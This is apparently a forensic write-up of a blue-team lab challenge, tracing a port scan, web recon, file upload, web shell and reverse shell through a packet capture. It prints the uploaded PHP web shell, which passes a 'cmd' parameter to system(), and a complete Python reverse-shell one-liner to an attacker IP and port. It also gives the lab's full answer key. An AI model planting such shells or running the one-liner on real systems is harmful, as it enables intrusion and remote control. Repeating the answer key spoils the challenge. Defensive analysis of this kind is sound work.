Incident Analysis Walkthrough

Network Analysis: Web Shell — BlueTeamLabs Online

A SIEM alert for local-to-local port scanning unravels into a full attack chain: reconnaissance, an unrestricted file upload, a dropped web shell, and a reverse shell back to the attacker. Below is the packet-level trail I followed to reconstruct it in Wireshark.

Category
Network Forensics
Difficulty
Easy
Tools
Wireshark / TShark

Scenario: The SOC received an alert for "Local to Local Port Scanning" — an internal private IP began scanning another internal system. The task: analyze the provided capture (BTLOPortScan.pcap) and reconstruct what the attacker actually did.

01 IP responsible for the port scan

ViewStatistics > Conversations > TCP, sorted by Port B

Sorting the TCP conversations table by destination port turns a wall of packets into an obvious visual pattern: one host talking to a single destination across a long, sequential run of ports, each exchange just 2 packets and ~118 bytes — the signature of a scan, not real application traffic.

Conversations sorted by Port B showing the scan starting at port 1
Fig 1 — TCP conversations sorted by Port B, scan beginning at port 1
Answer10.251.96.4 → scanning 10.251.96.5

02 Port range scanned

Scrolling the same sorted view, the sequential entries run cleanly from port 1 through port 1024, at which point the traffic pattern changes — larger, sustained conversations begin, which is the real application traffic starting up.

Conversations view scrolled to the end of the scan at port 1024
Fig 2 — Scan traffic ending at port 1024, application traffic beginning
Answer1–1024

03 Type of port scan conducted

Filterip.src == 10.251.96.4 && tcp.flags.syn == 1

There are plenty of scan types to consider here — Xmas, FIN, TCP connect, SYN — so this one comes down to reading the flags. Filtering on the scanning host's traffic shows every probe is a lone SYN packet. There's no completed three-way handshake: no ACK following the target's SYN, ACK, and no data ever sent. Each port gets exactly one SYN and nothing more from the source.

AnswerTCP SYN scan (half-open)

04 Two additional recon tools used

Filterip.dst == 10.251.96.5 && http.user_agent

Beyond the port scan, the attacker ran two application-layer recon tools against the web service that was found. Filtering for HTTP requests carrying a User-Agent header shows a long run of requests for common web paths (/_swf, /_temp, /_vti_bin/...) — classic directory brute-forcing. Inspecting one of the packets confirms the tool directly.

HTTP request showing gobuster user agent
Fig 3 — User-Agent header confirming Gobuster 3.0.1

Scrolling past the brute-force traffic, a separate set of POST requests appears carrying SQL-injection-style payloads in the body. Their User-Agent gives up the second tool.

HTTP POST request showing sqlmap user agent
Fig 4 — User-Agent header confirming sqlmap 1.4.7
AnswerGobuster 3.0.1, sqlmap 1.4.7

05 PHP file used to upload the web shell

Filterhttp.request.method == "GET"

This question wants the legitimate application file that was abused — not the shell itself. Filtering on GET requests and moving past the scanner noise, the attacker's actual browser session shows a request for /editprofile.php immediately before the malicious upload.

GET request for editprofile.php just before the upload
Fig 5 — GET /editprofile.php preceding the upload

Following the same TCP stream, the subsequent upload POST carries a Referer header pointing right back to editprofile.php, confirming the upload happened through that page's file upload feature.

Upload POST request with Referer header pointing to editprofile.php
Fig 6 — Referer header tying the upload back to editprofile.php
Answereditprofile.php

06 Name of the web shell uploaded

ActionFollow > HTTP Stream on the /upload.php POST

Following the TCP stream of the /upload.php POST reveals the full multipart form body, including the Content-Disposition header naming the uploaded file:

Content-Disposition: form-data; name="fileToUpload"; filename="dbfunctions.php"
Follow HTTP Stream showing the multipart upload of dbfunctions.php
Fig 7 — Multipart upload naming dbfunctions.php, server confirms receipt

The server response even spells it out: "The file dbfunctions.php has been uploaded."

Answerdbfunctions.php

07 Parameter used for command execution

Still inside the same followed stream, the raw PHP source of the uploaded shell is visible in the request body:

<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
Full HTTP stream showing the uploaded PHP web shell source and the cmd parameter
Fig 8 — Uploaded shell source: whatever comes in via cmd goes straight to system()

No sanitization, no allow-list — a textbook unrestricted-upload-to-RCE chain.

Answercmd

08 First command executed by the attacker

Filterhttp.request.method == "GET", requests to /uploads/dbfunctions.php

Once the shell is live, the attacker calls it immediately to confirm code execution:

GET /uploads/dbfunctions.php?cmd=id HTTP/1.1
GET request to dbfunctions.php with cmd=id
Fig 9 — First shell command: id, followed shortly by whoami
Answerid

09 Type of shell connection obtained

A later request to the shell carries a much longer, URL-encoded cmd payload. Decoded, it's a Python reverse shell one-liner:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.251.96.4",4422));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Followed HTTP stream showing the decoded Python reverse shell one-liner with attacker IP and port highlighted
Fig 10 — Decoded payload: outbound socket to the attacker, stdio rebound, /bin/sh spawned

The compromised server opens a socket outbound back to the attacker's listener, then rebinds stdin/stdout/stderr to that socket before spawning an interactive shell. Because the connection is initiated from the victim to the attacker — the opposite of a bind shell — this is a reverse shell.

Answer (Q9)Reverse shell

10 Port used for the shell connection

Visible directly in the same decoded payload above — the socket connects to ("10.251.96.4", 4422).

Answer4422

SUMMARY Attack Chain

StageActivityDetail
1. DiscoveryTCP SYN scan10.251.96.4 → 10.251.96.5, ports 1–1024
2. ReconDirectory brute-forceGobuster 3.0.1
3. ReconSQL injection testingsqlmap 1.4.7
4. Initial accessMalicious file uploadVia editprofile.php's upload feature
5. PersistenceWeb shell droppeddbfunctions.php, executes via cmd parameter
6. ExecutionCommand validationid, then whoami
7. EscalationReverse shellPython one-liner → 10.251.96.4:4422, spawns /bin/sh

SUMMARY Answer Key

#QuestionAnswer
1IP conducting the port scan10.251.96.4
2Port range scanned1–1024
3Type of port scanTCP SYN scan
4Two additional recon toolsGobuster 3.0.1, sqlmap 1.4.7
5PHP file used to upload the shelleditprofile.php
6Web shell filenamedbfunctions.php
7Command execution parametercmd
8First command executedid
9Type of shell connectionReverse shell
10Shell connection port4422

NOTES Key Takeaways